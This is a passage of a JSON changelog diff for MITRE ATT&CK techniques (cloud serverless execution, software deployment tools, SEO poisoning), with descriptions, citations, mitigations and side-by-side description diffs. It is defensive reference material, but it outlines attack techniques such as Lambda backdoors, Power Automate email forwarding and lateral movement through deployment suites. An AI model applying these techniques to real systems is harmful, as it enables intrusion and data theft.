\n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n

Old Description
New Description
t1Adversaries may abuse serverless computing, integration, andt1Adversaries may abuse serverless computing, integration, and
> automation services to execute arbitrary code in cloud envi> automation services to execute arbitrary code in cloud envi
>ronments. Many cloud providers offer a variety of serverless>ronments. Many cloud providers offer a variety of serverless
> resources, including compute engines, application integrati> resources, including compute engines, application integrati
>on services, and web servers.   Adversaries may abuse these >on services, and web servers.   Adversaries may abuse these 
>resources in various ways as a means of executing arbitrary >resources in various ways as a means of executing arbitrary 
>commands. For example, adversaries may use serverless functi>commands. For example, adversaries may use serverless functi
>ons to execute malicious code, such as crypto-mining malware>ons to execute malicious code, such as crypto-mining malware
> (i.e. [Resource Hijacking](https://attack.mitre.org/techniq> (i.e. [Resource Hijacking](https://attack.mitre.org/techniq
>ues/T1496)).(Citation: Cado Security Denonia) Adversaries ma>ues/T1496)).(Citation: Cado Security Denonia) Adversaries ma
>y also create functions that enable further compromise of th>y also create functions that enable further compromise of th
>e cloud environment. For example, an adversary may use the `>e cloud environment. For example, an adversary may use the `
>IAM:PassRole` permission in AWS or the `iam.serviceAccounts.>IAM:PassRole` permission in AWS or the `iam.serviceAccounts.
>actAs` permission in Google Cloud to add [Additional Cloud R>actAs` permission in Google Cloud to add [Additional Cloud R
>oles](https://attack.mitre.org/techniques/T1098/003) to a se>oles](https://attack.mitre.org/techniques/T1098/003) to a se
>rverless cloud function, which may then be able to perform a>rverless cloud function, which may then be able to perform a
>ctions the original user cannot.(Citation: Rhino Security La>ctions the original user cannot.(Citation: Rhino Security La
>bs AWS Privilege Escalation)(Citation: Rhingo Security Labs >bs AWS Privilege Escalation)(Citation: Rhingo Security Labs 
>GCP Privilege Escalation)  Serverless functions can also be >GCP Privilege Escalation)  Serverless functions can also be 
>invoked in response to cloud events (i.e. [Event Triggered E>invoked in response to cloud events (i.e. [Event Triggered E
>xecution](https://attack.mitre.org/techniques/T1546)), poten>xecution](https://attack.mitre.org/techniques/T1546)), poten
>tially enabling persistent execution over time. For example,>tially enabling persistent execution over time. For example,
> in AWS environments, an adversary may create a Lambda funct> in AWS environments, an adversary may create a Lambda funct
>ion that automatically adds [Additional Cloud Credentials](h>ion that automatically adds [Additional Cloud Credentials](h
>ttps://attack.mitre.org/techniques/T1098/001) to a user and >ttps://attack.mitre.org/techniques/T1098/001) to a user and 
>a corresponding CloudWatch events rule that invokes that fun>a corresponding CloudWatch events rule that invokes that fun
>ction whenever a new user is created.(Citation: Backdooring >ction whenever a new user is created.(Citation: Backdooring 
>an AWS account) Similarly, an adversary may create a Power A>an AWS account) This is also possible in many cloud-based of
>utomate workflow in Office 365 environments that forwards al>fice application suites. For example, in Microsoft 365 envir
>l emails a user receives or creates anonymous sharing links >onments, an adversary may create a Power Automate workflow t
>whenever a user is granted access to a document in SharePoin>hat forwards all emails a user receives or creates anonymous
>t.(Citation: Varonis Power Automate Data Exfiltration)(Citat> sharing links whenever a user is granted access to a docume
>ion: Microsoft DART Case Report 001)>nt in SharePoint.(Citation: Varonis Power Automate Data Exfi
 >ltration)(Citation: Microsoft DART Case Report 001) In Googl
 >e Workspace environments, they may instead create an Apps Sc
 >ript that exfiltrates a user's data when they open a file.(C
 >itation: Cloud Hack Tricks GWS Apps Script)(Citation: OWN-CE
 >RT Google App Script 2024)
", + "changelog_mitigations": { + "shared": [ + "M1018: User Account Management" + ], + "new": [ + "M1036: Account Use Policies" + ], + "dropped": [] + }, + "changelog_detections": { + "shared": [ + "DS0015: Application Log (Application Log Content)", + "DS0025: Cloud Service (Cloud Service Modification)" + ], + "new": [], + "dropped": [] + } + }, + { + "type": "attack-pattern", + "id": "attack-pattern--92a78814-b191-47ca-909c-1ccfe3777414", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-05-31 21:30:57.201000+00:00", + "modified": "2024-09-25 20:49:37.227000+00:00", + "name": "Software Deployment Tools", + "description": "Adversaries may gain access to and use centralized software suites installed within an enterprise to execute commands and move laterally through the network. Configuration management and software deployment applications may be used in an enterprise network or cloud environment for routine administration purposes. These systems may also be integrated into CI/CD pipelines. Examples of such solutions include: SCCM, HBSS, Altiris, AWS Systems Manager, Microsoft Intune, Azure Arc, and GCP Deployment Manager. \n\nAccess to network-wide or enterprise-wide endpoint management software may enable an adversary to achieve remote code execution on all connected systems. The access may be used to laterally move to other systems, gather information, or cause a specific effect, such as wiping the hard drives on all endpoints.\n\nSaaS-based configuration management services may allow for broad [Cloud Administration Command](https://attack.mitre.org/techniques/T1651) on cloud-hosted instances, as well as the execution of arbitrary commands on on-premises endpoints. For example, Microsoft Configuration Manager allows Global or Intune Administrators to run scripts as SYSTEM on on-premises devices joined to Entra ID.(Citation: SpecterOps Lateral Movement from Azure to On-Prem AD 2020) Such services may also utilize [Web Protocols](https://attack.mitre.org/techniques/T1071/001) to communicate back to adversary owned infrastructure.(Citation: Mitiga Security Advisory: SSM Agent as Remote Access Trojan)\n\nNetwork infrastructure devices may also have configuration management tools that can be similarly abused by adversaries.(Citation: Fortinet Zero-Day and Custom Malware Used by Suspected Chinese Actor in Espionage Operation)\n\nThe permissions required for this action vary by system configuration; local credentials may be sufficient with direct access to the third-party system, or specific domain credentials may be required. However, the system may require an administrative account to log in or to access specific functionality.", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "execution" + }, + { + "kill_chain_name": "mitre-attack", + "phase_name": "lateral-movement" + } + ], + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1072", + "external_id": "T1072" + }, + { + "source_name": "Fortinet Zero-Day and Custom Malware Used by Suspected Chinese Actor in Espionage Operation", + "description": "ALEXANDER MARVI, BRAD SLAYBAUGH, DAN EBREO, TUFAIL AHMED, MUHAMMAD UMAIR, TINA JOHNSON. (2023, March 16). Fortinet Zero-Day and Custom Malware Used by Suspected Chinese Actor in Espionage Operation. Retrieved May 15, 2023.", + "url": "https://www.mandiant.com/resources/blog/fortinet-malware-ecosystem" + }, + { + "source_name": "SpecterOps Lateral Movement from Azure to On-Prem AD 2020", + "description": "Andy Robbins. (2020, August 17). Death from Above: Lateral Movement from Azure to On-Prem AD. Retrieved March 13, 2023.", + "url": "https://posts.specterops.io/death-from-above-lateral-movement-from-azure-to-on-prem-ad-d18cb3959d4d" + }, + { + "source_name": "Mitiga Security Advisory: SSM Agent as Remote Access Trojan", + "description": "Ariel Szarf, Or Aspir. (n.d.). Mitiga Security Advisory: Abusing the SSM Agent as a Remote Access Trojan. Retrieved January 31, 2024.", + "url": "https://www.mitiga.io/blog/mitiga-security-advisory-abusing-the-ssm-agent-as-a-remote-access-trojan" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_attack_spec_version": "3.2.0", + "x_mitre_contributors": [ + "Shane Tully, @securitygypsy", + "Joe Gumke, U.S. Bank", + "Tamir Yehuda" + ], + "x_mitre_data_sources": [ + "Process: Process Creation", + "Application Log: Application Log Content" + ], + "x_mitre_deprecated": false, + "x_mitre_detection": "Detection methods will vary depending on the type of third-party software or system and how it is typically used. \n\nThe same investigation process can be applied here as with other potentially malicious activities where the distribution vector is initially unknown but the resulting activity follows a discernible pattern. Analyze the process execution trees, historical activities from the third-party application (such as what types of files are usually pushed), and the resulting activities or events from the file/binary/script pushed to systems. \n\nOften these third-party applications will have logs of their own that can be collected and correlated with other data from the environment. Ensure that third-party application logs are on-boarded to the enterprise logging system and the logs are regularly reviewed. Audit software deployment logs and look for suspicious or unauthorized activity. A system not typically used to push software to clients that suddenly is used for such a task outside of a known admin function may be suspicious. Monitor account login activity on these applications to detect suspicious/abnormal usage.\n\nPerform application deployment at regular times so that irregular deployment activity stands out. Monitor process activity that does not correlate to known good software. Monitor account login activity on the deployment system.", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_is_subtechnique": false, + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Linux", + "macOS", + "Windows", + "Network", + "SaaS" + ], + "x_mitre_remote_support": true, + "x_mitre_version": "3.1", + "detailed_diff": "{\"values_changed\": {\"root['modified']\": {\"new_value\": \"2024-09-25 20:49:37.227000+00:00\", \"old_value\": \"2024-04-12 03:40:37.954000+00:00\"}, \"root['description']\": {\"new_value\": \"Adversaries may gain access to and use centralized software suites installed within an enterprise to execute commands and move laterally through the network. Configuration management and software deployment applications may be used in an enterprise network or cloud environment for routine administration purposes. These systems may also be integrated into CI/CD pipelines. Examples of such solutions include: SCCM, HBSS, Altiris, AWS Systems Manager, Microsoft Intune, Azure Arc, and GCP Deployment Manager. \\n\\nAccess to network-wide or enterprise-wide endpoint management software may enable an adversary to achieve remote code execution on all connected systems. The access may be used to laterally move to other systems, gather information, or cause a specific effect, such as wiping the hard drives on all endpoints.\\n\\nSaaS-based configuration management services may allow for broad [Cloud Administration Command](https://attack.mitre.org/techniques/T1651) on cloud-hosted instances, as well as the execution of arbitrary commands on on-premises endpoints. For example, Microsoft Configuration Manager allows Global or Intune Administrators to run scripts as SYSTEM on on-premises devices joined to Entra ID.(Citation: SpecterOps Lateral Movement from Azure to On-Prem AD 2020) Such services may also utilize [Web Protocols](https://attack.mitre.org/techniques/T1071/001) to communicate back to adversary owned infrastructure.(Citation: Mitiga Security Advisory: SSM Agent as Remote Access Trojan)\\n\\nNetwork infrastructure devices may also have configuration management tools that can be similarly abused by adversaries.(Citation: Fortinet Zero-Day and Custom Malware Used by Suspected Chinese Actor in Espionage Operation)\\n\\nThe permissions required for this action vary by system configuration; local credentials may be sufficient with direct access to the third-party system, or specific domain credentials may be required. However, the system may require an administrative account to log in or to access specific functionality.\", \"old_value\": \"Adversaries may gain access to and use centralized software suites installed within an enterprise to execute commands and move laterally through the network. Configuration management and software deployment applications may be used in an enterprise network or cloud environment for routine administration purposes. These systems may also be integrated into CI/CD pipelines. Examples of such solutions include: SCCM, HBSS, Altiris, AWS Systems Manager, Microsoft Intune, Azure Arc, and GCP Deployment Manager. \\n\\nAccess to network-wide or enterprise-wide endpoint management software may enable an adversary to achieve remote code execution on all connected systems. The access may be used to laterally move to other systems, gather information, or cause a specific effect, such as wiping the hard drives on all endpoints.\\n\\nSaaS-based configuration management services may allow for broad [Cloud Administration Command](https://attack.mitre.org/techniques/T1651) on cloud-hosted instances, as well as the execution of arbitrary commands on on-premises endpoints. For example, Microsoft Configuration Manager allows Global or Intune Administrators to run scripts as SYSTEM on on-premises devices joined to Azure AD.(Citation: SpecterOps Lateral Movement from Azure to On-Prem AD 2020) Such services may also utilize [Web Protocols](https://attack.mitre.org/techniques/T1071/001) to communicate back to adversary owned infrastructure.(Citation: Mitiga Security Advisory: SSM Agent as Remote Access Trojan)\\n\\nNetwork infrastructure devices may also have configuration management tools that can be similarly abused by adversaries.(Citation: Fortinet Zero-Day and Custom Malware Used by Suspected Chinese Actor in Espionage Operation)\\n\\nThe permissions required for this action vary by system configuration; local credentials may be sufficient with direct access to the third-party system, or specific domain credentials may be required. However, the system may require an administrative account to log in or to access specific functionality.\", \"diff\": \"--- \\n+++ \\n@@ -2,7 +2,7 @@\\n \\n Access to network-wide or enterprise-wide endpoint management software may enable an adversary to achieve remote code execution on all connected systems. The access may be used to laterally move to other systems, gather information, or cause a specific effect, such as wiping the hard drives on all endpoints.\\n \\n-SaaS-based configuration management services may allow for broad [Cloud Administration Command](https://attack.mitre.org/techniques/T1651) on cloud-hosted instances, as well as the execution of arbitrary commands on on-premises endpoints. For example, Microsoft Configuration Manager allows Global or Intune Administrators to run scripts as SYSTEM on on-premises devices joined to Azure AD.(Citation: SpecterOps Lateral Movement from Azure to On-Prem AD 2020) Such services may also utilize [Web Protocols](https://attack.mitre.org/techniques/T1071/001) to communicate back to adversary owned infrastructure.(Citation: Mitiga Security Advisory: SSM Agent as Remote Access Trojan)\\n+SaaS-based configuration management services may allow for broad [Cloud Administration Command](https://attack.mitre.org/techniques/T1651) on cloud-hosted instances, as well as the execution of arbitrary commands on on-premises endpoints. For example, Microsoft Configuration Manager allows Global or Intune Administrators to run scripts as SYSTEM on on-premises devices joined to Entra ID.(Citation: SpecterOps Lateral Movement from Azure to On-Prem AD 2020) Such services may also utilize [Web Protocols](https://attack.mitre.org/techniques/T1071/001) to communicate back to adversary owned infrastructure.(Citation: Mitiga Security Advisory: SSM Agent as Remote Access Trojan)\\n \\n Network infrastructure devices may also have configuration management tools that can be similarly abused by adversaries.(Citation: Fortinet Zero-Day and Custom Malware Used by Suspected Chinese Actor in Espionage Operation)\\n \"}, \"root['x_mitre_version']\": {\"new_value\": \"3.1\", \"old_value\": \"3.0\"}}}", + "previous_version": "3.0", + "version_change": "3.0 \u2192 3.1", + "description_change_table": "\n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n

Old Description
New Description
t1Adversaries may gain access to and use centralized software t1Adversaries may gain access to and use centralized software 
>suites installed within an enterprise to execute commands an>suites installed within an enterprise to execute commands an
>d move laterally through the network. Configuration manageme>d move laterally through the network. Configuration manageme
>nt and software deployment applications may be used in an en>nt and software deployment applications may be used in an en
>terprise network or cloud environment for routine administra>terprise network or cloud environment for routine administra
>tion purposes. These systems may also be integrated into CI/>tion purposes. These systems may also be integrated into CI/
>CD pipelines. Examples of such solutions include: SCCM, HBSS>CD pipelines. Examples of such solutions include: SCCM, HBSS
>, Altiris, AWS Systems Manager, Microsoft Intune, Azure Arc,>, Altiris, AWS Systems Manager, Microsoft Intune, Azure Arc,
> and GCP Deployment Manager.    Access to network-wide or en> and GCP Deployment Manager.    Access to network-wide or en
>terprise-wide endpoint management software may enable an adv>terprise-wide endpoint management software may enable an adv
>ersary to achieve remote code execution on all connected sys>ersary to achieve remote code execution on all connected sys
>tems. The access may be used to laterally move to other syst>tems. The access may be used to laterally move to other syst
>ems, gather information, or cause a specific effect, such as>ems, gather information, or cause a specific effect, such as
> wiping the hard drives on all endpoints.  SaaS-based config> wiping the hard drives on all endpoints.  SaaS-based config
>uration management services may allow for broad [Cloud Admin>uration management services may allow for broad [Cloud Admin
>istration Command](https://attack.mitre.org/techniques/T1651>istration Command](https://attack.mitre.org/techniques/T1651
>) on cloud-hosted instances, as well as the execution of arb>) on cloud-hosted instances, as well as the execution of arb
>itrary commands on on-premises endpoints. For example, Micro>itrary commands on on-premises endpoints. For example, Micro
>soft Configuration Manager allows Global or Intune Administr>soft Configuration Manager allows Global or Intune Administr
>ators to run scripts as SYSTEM on on-premises devices joined>ators to run scripts as SYSTEM on on-premises devices joined
> to Azure AD.(Citation: SpecterOps Lateral Movement from Azu> to Entra ID.(Citation: SpecterOps Lateral Movement from Azu
>re to On-Prem AD 2020) Such services may also utilize [Web P>re to On-Prem AD 2020) Such services may also utilize [Web P
>rotocols](https://attack.mitre.org/techniques/T1071/001) to >rotocols](https://attack.mitre.org/techniques/T1071/001) to 
>communicate back to adversary owned infrastructure.(Citation>communicate back to adversary owned infrastructure.(Citation
>: Mitiga Security Advisory: SSM Agent as Remote Access Troja>: Mitiga Security Advisory: SSM Agent as Remote Access Troja
>n)  Network infrastructure devices may also have configurati>n)  Network infrastructure devices may also have configurati
>on management tools that can be similarly abused by adversar>on management tools that can be similarly abused by adversar
>ies.(Citation: Fortinet Zero-Day and Custom Malware Used by >ies.(Citation: Fortinet Zero-Day and Custom Malware Used by 
>Suspected Chinese Actor in Espionage Operation)  The permiss>Suspected Chinese Actor in Espionage Operation)  The permiss
>ions required for this action vary by system configuration; >ions required for this action vary by system configuration; 
>local credentials may be sufficient with direct access to th>local credentials may be sufficient with direct access to th
>e third-party system, or specific domain credentials may be >e third-party system, or specific domain credentials may be 
>required. However, the system may require an administrative >required. However, the system may require an administrative 
>account to log in or to access specific functionality.>account to log in or to access specific functionality.
", + "changelog_mitigations": { + "shared": [ + "M1015: Active Directory Configuration", + "M1017: User Training", + "M1018: User Account Management", + "M1026: Privileged Account Management", + "M1027: Password Policies", + "M1029: Remote Data Storage", + "M1030: Network Segmentation", + "M1032: Multi-factor Authentication", + "M1033: Limit Software Installation", + "M1051: Update Software" + ], + "new": [], + "dropped": [] + }, + "changelog_detections": { + "shared": [ + "DS0009: Process (Process Creation)", + "DS0015: Application Log (Application Log Content)" + ], + "new": [], + "dropped": [] + } + }, + { + "type": "attack-pattern", + "id": "attack-pattern--e5d550f3-2202-4634-85f2-4a200a1d49b3", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2022-09-30 21:14:12.284000+00:00", + "modified": "2024-08-14 15:03:56.383000+00:00", + "name": "SEO Poisoning", + "description": "Adversaries may poison mechanisms that influence search engine optimization (SEO) to further lure staged capabilities towards potential victims. Search engines typically display results to users based on purchased ads as well as the site\u2019s ranking/score/reputation calculated by their web crawlers and algorithms.(Citation: Atlas SEO)(Citation: MalwareBytes SEO)\n\nTo help facilitate [Drive-by Compromise](https://attack.mitre.org/techniques/T1189), adversaries may stage content that explicitly manipulates SEO rankings in order to promote sites hosting their malicious payloads (such as [Drive-by Target](https://attack.mitre.org/techniques/T1608/004)) within search engines. Poisoning SEO rankings may involve various tricks, such as stuffing keywords (including in the form of hidden text) into compromised sites. These keywords could be related to the interests/browsing habits of the intended victim(s) as well as more broad, seasonably popular topics (e.g. elections, trending news).(Citation: ZScaler SEO)(Citation: Atlas SEO)\n\nIn addition to internet search engines (such as Google), adversaries may also aim to manipulate specific in-site searches for developer platforms (such as GitHub) to deceive users towards [Supply Chain Compromise](https://attack.mitre.org/techniques/T1195) lures. In-site searches will rank search results according to their own algorithms and metrics such as popularity(Citation: Chexmarx-seo) which may be targeted and gamed by malicious actors.(Citation: Checkmarx-oss-seo)\n\nAdversaries may also purchase or plant incoming links to staged capabilities in order to boost the site\u2019s calculated relevance and reputation.(Citation: MalwareBytes SEO)(Citation: DFIR Report Gootloader)\n\nSEO poisoning may also be combined with evasive redirects and other cloaking mechanisms (such as measuring mouse movements or serving content based on browser user agents, user language/localization settings, or HTTP headers) in order to feed SEO inputs while avoiding scrutiny from defenders.(Citation: ZScaler SEO)(Citation: Sophos Gootloader)", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "resource-development" + } + ], + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1608/006", + "external_id": "T1608.006" + }, + { + "source_name": "MalwareBytes SEO", + "description": "Arntz, P. (2018, May 29). SEO poisoning: Is it worth it?. Retrieved September 30, 2022.", + "url": "https://www.malwarebytes.com/blog/news/2018/05/seo-poisoning-is-it-worth-it" + }, + { + "source_name": "Atlas SEO", + "description": "Atlas Cybersecurity. (2021, April 19). Threat Actors use Search-Engine-Optimization Tactics to Redirect Traffic and Install Malware. Retrieved September 30, 2022.", + "url": "https://atlas-cybersecurity.com/cyber-threats/threat-actors-use-search-engine-optimization-tactics-to-redirect-traffic-and-install-malware/" + }, + { + "source_name": "Sophos Gootloader", + "description": "Szappanos, G. & Brandt, A. (2021, March 1). \u201cGootloader\u201d expands its payload delivery options. Retrieved September 30, 2022.", + "url": "https://news.sophos.com/en-us/2021/03/01/gootloader-expands-its-payload-delivery-options/" + }, + { + "source_name": "DFIR Report Gootloader", + "description": "The DFIR Report. (2022, May 9). SEO Poisoning \u2013 A Gootloader Story. Retrieved September 30, 2022.", + "url": "https://thedfirreport.com/2022/05/09/seo-poisoning-a-gootloader-story/" + }, + { + "source_name": "ZScaler SEO", + "description": "Wang, J. (2018, October 17). Ubiquitous SEO Poisoning URLs. Retrieved September 30, 2022.", + "url": "https://www.zscaler.com/blogs/security-research/ubiquitous-seo-poisoning-urls-0" + }, + { + "source_name": "Chexmarx-seo", + "description": "Yehuda Gelb. (2023, November 30). The GitHub Black Market: Gaming the Star Ranking Game. Retrieved June 18, 2024.", + "url": "https://zero.checkmarx.com/the-github-black-market-gaming-the-star-ranking-game-fc42f5913fb7" + }, + { + "source_name": "Checkmarx-oss-seo", + "description": "Yehuda Gelb. (2024, April 10). New Technique to Trick Developers Detected in an Open Source Supply Chain Attack. Retrieved June 18, 2024.", + "url": "https://checkmarx.com/blog/new-technique-to-trick-developers-detected-in-an-open-source-supply-chain-attack/" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_attack_spec_version": "3.2.0", + "x_mitre_contributors": [ + "Menachem Goldstein", + "Vijay Lalwani", + "Will Thomas, Equinix Threat Analysis Center (ETAC)", + "Will Jolliffe", + "Hiroki Nagahama, NEC Corporation", + "Manikantan Srinivasan, NEC Corporation India", + "Pooja Natarajan, NEC Corporation India" + ], + "x_mitre_data_sources": [ + "Internet Scan: Response Content" + ], + "x_mitre_deprecated": false, + "x_mitre_detection": "", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_is_subtechnique": true, + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "PRE" + ], + "x_mitre_version": "1.1", + "detailed_diff": "{\"values_changed\": {\"root['modified']\": {\"new_value\": \"2024-08-14 15:03:56.383000+00:00\", \"old_value\": \"2023-03-13 20:35:52.302000+00:00\"}, \"root['description']\": {\"new_value\": \"Adversaries may poison mechanisms that influence search engine optimization (SEO) to further lure staged capabilities towards potential victims. Search engines typically display results to users based on purchased ads as well as the site\\u2019s ranking/score/reputation calculated by their web crawlers and algorithms.(Citation: Atlas SEO)(Citation: MalwareBytes SEO)\\n\\nTo help facilitate [Drive-by Compromise](https://attack.mitre.org/techniques/T1189), adversaries may stage content that explicitly manipulates SEO rankings in order to promote sites hosting their malicious payloads (such as [Drive-by Target](https://attack.mitre.org/techniques/T1608/004)) within search engines. Poisoning SEO rankings may involve various tricks, such as stuffing keywords (including in the form of hidden text) into compromised sites. These keywords could be related to the interests/browsing habits of the intended victim(s) as well as more broad, seasonably popular topics (e.g. elections, trending news).(Citation: ZScaler SEO)(Citation: Atlas SEO)\\n\\nIn addition to internet search engines (such as Google), adversaries may also aim to manipulate specific in-site searches for developer platforms (such as GitHub) to deceive users towards [Supply Chain Compromise](https://attack.mitre.org/techniques/T1195) lures. In-site searches will rank search results according to their own algorithms and metrics such as popularity(Citation: Chexmarx-seo) which may be targeted and gamed by malicious actors.(Citation: Checkmarx-oss-seo)\\n\\nAdversaries may also purchase or plant incoming links to staged capabilities in order to boost the site\\u2019s calculated relevance and reputation.(Citation: MalwareBytes SEO)(Citation: DFIR Report Gootloader)\\n\\nSEO poisoning may also be combined with evasive redirects and other cloaking mechanisms (such as measuring mouse movements or serving content based on browser user agents, user language/localization settings, or HTTP headers) in order to feed SEO inputs while avoiding scrutiny from defenders.(Citation: ZScaler SEO)(Citation: Sophos Gootloader)\", \"old_value\": \"Adversaries may poison mechanisms that influence search engine optimization (SEO) to further lure staged capabilities towards potential victims. Search engines typically display results to users based on purchased ads as well as the site\\u2019s ranking/score/reputation calculated by their web crawlers and algorithms.(Citation: Atlas SEO)(Citation: MalwareBytes SEO)\\n\\nTo help facilitate [Drive-by Compromise](https://attack.mitre.org/techniques/T1189), adversaries may stage content that explicitly manipulates SEO rankings in order to promote sites hosting their malicious payloads (such as [Drive-by Target](https://attack.mitre.org/techniques/T1608/004)) within search engines. Poisoning SEO rankings may involve various tricks, such as stuffing keywords (including in the form of hidden text) into compromised sites. These keywords could be related to the interests/browsing habits of the intended victim(s) as well as more broad, seasonably popular topics (e.g. elections, trending news).(Citation: ZScaler SEO)(Citation: Atlas SEO)\\n\\nAdversaries may also purchase or plant incoming links to staged capabilities in order to boost the site\\u2019s calculated relevance and reputation.(Citation: MalwareBytes SEO)(Citation: DFIR Report Gootloader)\\n\\nSEO poisoning may also be combined with evasive redirects and other cloaking mechanisms (such as measuring mouse movements or serving content based on browser user agents, user language/localization settings, or HTTP headers) in order to feed SEO inputs while avoiding scrutiny from defenders.(Citation: ZScaler SEO)(Citation: Sophos Gootloader)\", \"diff\": \"--- \\n+++ \\n@@ -2,6 +2,8 @@\\n \\n To help facilitate [Drive-by Compromise](https://attack.mitre.org/techniques/T1189), adversaries may stage content that explicitly manipulates SEO rankings in order to promote sites hosting their malicious payloads (such as [Drive-by Target](https://attack.mitre.org/techniques/T1608/004)) within search engines. Poisoning SEO rankings may involve various tricks, such as stuffing keywords (including in the form of hidden text) into compromised sites. These keywords could be related to the interests/browsing habits of the intended victim(s) as well as more broad, seasonably popular topics (e.g. elections, trending news).(Citation: ZScaler SEO)(Citation: Atlas SEO)\\n \\n+In addition to internet search engines (such as Google), adversaries may also aim to manipulate specific in-site searches for developer platforms (such as GitHub) to deceive users towards [Supply Chain Compromise](https://attack.mitre.org/techniques/T1195) lures. In-site searches will rank search results according to their own algorithms and metrics such as popularity(Citation: Chexmarx-seo) which may be targeted and gamed by malicious actors.(Citation: Checkmarx-oss-seo)\\n+\\n Adversaries may also purchase or plant incoming links to staged capabilities in order to boost the site\\u2019s calculated relevance and reputation.(Citation: MalwareBytes SEO)(Citation: DFIR Report Gootloader)\\n \\n SEO poisoning may also be combined with evasive redirects and other cloaking mechanisms (such as measuring mouse movements or serving content based on browser user agents, user language/localization settings, or HTTP headers) in order to feed SEO inputs while avoiding scrutiny from defenders.(Citation: ZScaler SEO)(Citation: Sophos Gootloader)\"}, \"root['x_mitre_attack_spec_version']\": {\"new_value\": \"3.2.0\", \"old_value\": \"3.1.0\"}, \"root['x_mitre_version']\": {\"new_value\": \"1.1\", \"old_value\": \"1.0\"}, \"root['x_mitre_contributors'][0]\": {\"new_value\": \"Menachem Goldstein\", \"old_value\": \"Goldstein Menachem\"}}, \"iterable_item_added\": {\"root['external_references'][6]\": {\"source_name\": \"Chexmarx-seo\", \"description\": \"Yehuda Gelb. (2023, November 30). The GitHub Black Market: Gaming the Star Ranking Game. Retrieved June 18, 2024.\", \"url\": \"https://zero.checkmarx.com/the-github-black-market-gaming-the-star-ranking-game-fc42f5913fb7\"}, \"root['external_references'][7]\": {\"source_name\": \"Checkmarx-oss-seo\", \"description\": \"Yehuda Gelb. (2024, April 10). New Technique to Trick Developers Detected in an Open Source Supply Chain Attack. Retrieved June 18, 2024.\", \"url\": \"https://checkmarx.com/blog/new-technique-to-trick-developers-detected-in-an-open-source-supply-chain-attack/\"}}}", + "previous_version": "1.0", + "version_change": "1.0 \u2192 1.1", + "description_change_table": "\n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n

Old Description
New Description
t1Adversaries may poison mechanisms that influence search engit1Adversaries may poison mechanisms that influence search engi
>ne optimization (SEO) to further lure staged capabilities to>ne optimization (SEO) to further lure staged capabilities to
>wards potential victims. Search engines typically display re>wards potential victims. Search engines typically display re
>sults to users based on purchased ads as well as the site\u2019s >sults to users based on purchased ads as well as the site\u2019s 
>ranking/score/reputation calculated by their web crawlers an>ranking/score/reputation calculated by their web crawlers an
>d algorithms.(Citation: Atlas SEO)(Citation: MalwareBytes SE>d algorithms.(Citation: Atlas SEO)(Citation: MalwareBytes SE
>O)  To help facilitate [Drive-by Compromise](https://attack.>O)  To help facilitate [Drive-by Compromise](https://attack.
>mitre.org/techniques/T1189), adversaries may stage content t>mitre.org/techniques/T1189), adversaries may stage content t
>hat explicitly manipulates SEO rankings in order to promote >hat explicitly manipulates SEO rankings in order to promote 
>sites hosting their malicious payloads (such as [Drive-by Ta>sites hosting their malicious payloads (such as [Drive-by Ta
>rget](https://attack.mitre.org/techniques/T1608/004)) within>rget](https://attack.mitre.org/techniques/T1608/004)) within
> search engines. Poisoning SEO rankings may involve various > search engines. Poisoning SEO rankings may involve various 
>tricks, such as stuffing keywords (including in the form of >tricks, such as stuffing keywords (including in the form of 
>hidden text) into compromised sites. These keywords could be>hidden text) into compromised sites. These keywords could be
> related to the interests/browsing habits of the intended vi> related to the interests/browsing habits of the intended vi
>ctim(s) as well as more broad, seasonably popular topics (e.>ctim(s) as well as more broad, seasonably popular topics (e.
>g. elections, trending news).(Citation: ZScaler SEO)(Citatio>g. elections, trending news).(Citation: ZScaler SEO)(Citatio
>n: Atlas SEO)  Adversaries may also purchase or plant incomi>n: Atlas SEO)  In addition to internet search engines (such 
>ng links to staged capabilities in order to boost the site\u2019s>as Google), adversaries may also aim to manipulate specific 
> calculated relevance and reputation.(Citation: MalwareBytes>in-site searches for developer platforms (such as GitHub) to
> SEO)(Citation: DFIR Report Gootloader)  SEO poisoning may a> deceive users towards [Supply Chain Compromise](https://att
>lso be combined with evasive redirects and other cloaking me>ack.mitre.org/techniques/T1195) lures. In-site searches will
>chanisms (such as measuring mouse movements or serving conte> rank search results according to their own algorithms and m
>nt based on browser user agents, user language/localization >etrics such as popularity(Citation: Chexmarx-seo) which may 
>settings, or HTTP headers) in order to feed SEO inputs while>be targeted and gamed by malicious actors.(Citation: Checkma
> avoiding scrutiny from defenders.(Citation: ZScaler SEO)(Ci>rx-oss-seo)  Adversaries may also purchase or plant incoming
>tation: Sophos Gootloader)> links to staged capabilities in order to boost the site\u2019s c
 >alculated relevance and reputation.(Citation: MalwareBytes S
 >EO)(Citation: DFIR Report Gootloader)  SEO poisoning may als
 >o be combined with evasive redirects and other cloaking mech
 >anisms (such as measuring mouse movements or serving content
 > based on browser user agents, user language/localization se
 >ttings, or HTTP headers) in order to feed SEO inputs while a
 >voiding scrutiny from defenders.(Citation: ZScaler SEO)(Cita
 >tion: Sophos Gootloader)
